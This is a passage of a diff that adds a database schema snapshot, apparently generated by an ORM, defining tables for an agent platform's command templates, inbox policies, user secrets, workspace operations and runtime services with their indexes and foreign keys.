+          "tableFrom": "tool_stdio_command_templates",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_stdio_command_templates_created_by_agent_id_agents_id_fk": {
+          "name": "tool_stdio_command_templates_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_stdio_command_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user_inbox_agent_policies": {
+      "name": "user_inbox_agent_policies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "mode": {
+          "name": "mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "allowed_agent_ids": {
+          "name": "allowed_agent_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_inbox_agent_policies_company_user_uq": {
+          "name": "user_inbox_agent_policies_company_user_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_inbox_agent_policies_allowed_agent_ids_idx": {
+          "name": "user_inbox_agent_policies_allowed_agent_ids_idx",
+          "columns": [
+            {
+              "expression": "allowed_agent_ids",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "user_inbox_agent_policies_company_id_companies_id_fk": {
+          "name": "user_inbox_agent_policies_company_id_companies_id_fk",
+          "tableFrom": "user_inbox_agent_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "user_inbox_agent_policies_mode_check": {
+          "name": "user_inbox_agent_policies_mode_check",
+          "value": "\"user_inbox_agent_policies\".\"mode\" in ('open', 'allowlist', 'disabled')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.user_secret_declarations": {
+      "name": "user_secret_declarations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_secret_definition_id": {
+          "name": "user_secret_definition_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "env_key": {
+          "name": "env_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version_selector": {
+          "name": "version_selector",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'latest'"
+        },
+        "required": {
+          "name": "required",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "allow_missing_override": {
+          "name": "allow_missing_override",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_secret_declarations_company_idx": {
+          "name": "user_secret_declarations_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_definition_idx": {
+          "name": "user_secret_declarations_definition_idx",
+          "columns": [
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_target_idx": {
+          "name": "user_secret_declarations_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_company_required_idx": {
+          "name": "user_secret_declarations_company_required_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "required",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_target_path_uq": {
+          "name": "user_secret_declarations_target_path_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "config_path",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_required_override_idx": {
+          "name": "user_secret_declarations_required_override_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "allow_missing_override",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"user_secret_declarations\".\"allow_missing_override\" = true",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "user_secret_declarations_company_id_companies_id_fk": {
+          "name": "user_secret_declarations_company_id_companies_id_fk",
+          "tableFrom": "user_secret_declarations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "user_secret_declarations_user_secret_definition_id_user_secret_definitions_id_fk": {
+          "name": "user_secret_declarations_user_secret_definition_id_user_secret_definitions_id_fk",
+          "tableFrom": "user_secret_declarations",
+          "tableTo": "user_secret_definitions",
+          "columnsFrom": [
+            "user_secret_definition_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user_secret_definitions": {
+      "name": "user_secret_definitions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_encrypted'"
+        },
+        "managed_mode": {
+          "name": "managed_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip_managed'"
+        },
+        "provider_config_id": {
+          "name": "provider_config_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_metadata": {
+          "name": "provider_metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "usage_guidance": {
+          "name": "usage_guidance",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_secret_definitions_company_status_idx": {
+          "name": "user_secret_definitions_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_definitions_company_provider_idx": {
+          "name": "user_secret_definitions_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_definitions_provider_config_idx": {
+          "name": "user_secret_definitions_provider_config_idx",
+          "columns": [
+            {
+              "expression": "provider_config_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_definitions_company_key_uq": {
+          "name": "user_secret_definitions_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"user_secret_definitions\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "user_secret_definitions_company_id_companies_id_fk": {
+          "name": "user_secret_definitions_company_id_companies_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "user_secret_definitions_provider_config_id_company_secret_provider_configs_id_fk": {
+          "name": "user_secret_definitions_provider_config_id_company_secret_provider_configs_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "company_secret_provider_configs",
+          "columnsFrom": [
+            "provider_config_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "user_secret_definitions_created_by_agent_id_agents_id_fk": {
+          "name": "user_secret_definitions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "user_secret_definitions_updated_by_agent_id_agents_id_fk": {
+          "name": "user_secret_definitions_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user_sidebar_preferences": {
+      "name": "user_sidebar_preferences",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_order": {
+          "name": "company_order",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_sidebar_preferences_user_uq": {
+          "name": "user_sidebar_preferences_user_uq",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.workspace_operations": {
+      "name": "workspace_operations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "phase": {
+          "name": "phase",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'running'"
+        },
+        "exit_code": {
+          "name": "exit_code",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_store": {
+          "name": "log_store",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_ref": {
+          "name": "log_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_bytes": {
+          "name": "log_bytes",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_sha256": {
+          "name": "log_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_compressed": {
+          "name": "log_compressed",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "stdout_excerpt": {
+          "name": "stdout_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stderr_excerpt": {
+          "name": "stderr_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "workspace_operations_company_run_started_idx": {
+          "name": "workspace_operations_company_run_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_operations_company_workspace_started_idx": {
+          "name": "workspace_operations_company_workspace_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_operations_company_workspace_issue_started_idx": {
+          "name": "workspace_operations_company_workspace_issue_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "workspace_operations_company_id_companies_id_fk": {
+          "name": "workspace_operations_company_id_companies_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "workspace_operations_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "workspace_operations_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_operations_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "workspace_operations_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_operations_issue_id_issues_id_fk": {
+          "name": "workspace_operations_issue_id_issues_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.workspace_runtime_services": {
+      "name": "workspace_runtime_services",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "service_name": {
+          "name": "service_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "lifecycle": {
+          "name": "lifecycle",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reuse_key": {
+          "name": "reuse_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "port": {
+          "name": "port",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "url": {
+          "name": "url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_ref": {
+          "name": "provider_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_by_run_id": {
+          "name": "started_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "stopped_at": {
+          "name": "stopped_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stop_policy": {
+          "name": "stop_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exposure": {
+          "name": "exposure",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exposure_handle": {
+          "name": "exposure_handle",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "backend_url": {
+          "name": "backend_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "workspace_runtime_services_company_workspace_status_idx": {
+          "name": "workspace_runtime_services_company_workspace_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_company_execution_workspace_status_idx": {
+          "name": "workspace_runtime_services_company_execution_workspace_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_company_project_status_idx": {
+          "name": "workspace_runtime_services_company_project_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_run_idx": {
+          "name": "workspace_runtime_services_run_idx",
+          "columns": [
+            {
+              "expression": "started_by_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_company_updated_idx": {
+          "name": "workspace_runtime_services_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "workspace_runtime_services_company_id_companies_id_fk": {
+          "name": "workspace_runtime_services_company_id_companies_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_project_id_projects_id_fk": {
+          "name": "workspace_runtime_services_project_id_projects_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_project_workspace_id_project_workspaces_id_fk": {
+          "name": "workspace_runtime_services_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "workspace_runtime_services_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_issue_id_issues_id_fk": {
+          "name": "workspace_runtime_services_issue_id_issues_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_owner_agent_id_agents_id_fk": {
+          "name": "workspace_runtime_services_owner_agent_id_agents_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_started_by_run_id_heartbeat_runs_id_fk": {
